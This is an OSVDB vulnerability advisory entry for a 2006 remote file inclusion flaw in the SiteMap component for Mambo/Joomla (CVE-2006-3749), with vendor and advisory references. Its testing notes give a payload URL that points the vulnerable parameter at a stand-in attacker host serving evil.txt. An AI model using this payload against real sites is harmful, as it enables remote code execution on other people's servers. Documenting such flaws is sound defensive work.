SiteMap for Mambo/Joomla sitemap.xml.php mosConfig_absolute_path Variable Remote File Inclusion

2006-07-12T07:04:11
ID OSVDB:27423
Type osvdb
Reporter OSVDB
Modified 2006-07-12T07:04:11

Description

Technical Description

This vulnerability is only present when the register_globals PHP option is set to 'on'. This has not been the default setting for PHP installs since version 4.2.0 (22-Apr-2002).

Manual Testing Notes

http://[target]/[path]/components/com_sitemap/sitemap.xml.php?mosConfig_absolute_path=http://[attacker]/evil.txt?

References:

Vendor Specific News/Changelog Entry: http://forum.joomla.org/index.php/topic,76326.0.html Vendor Specific News/Changelog Entry: http://forum.joomla.org/index.php/topic,79477.0.html Secunia Advisory ID:21055 Other Advisory URL: http://advisories.echo.or.id/adv/adv38-matdhule-2006.txt Mail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-07/0180.html Keyword: ECHO_ADV_38$2006 FrSIRT Advisory: ADV-2006-2803 CVE-2006-3749 Bugtraq ID: 18991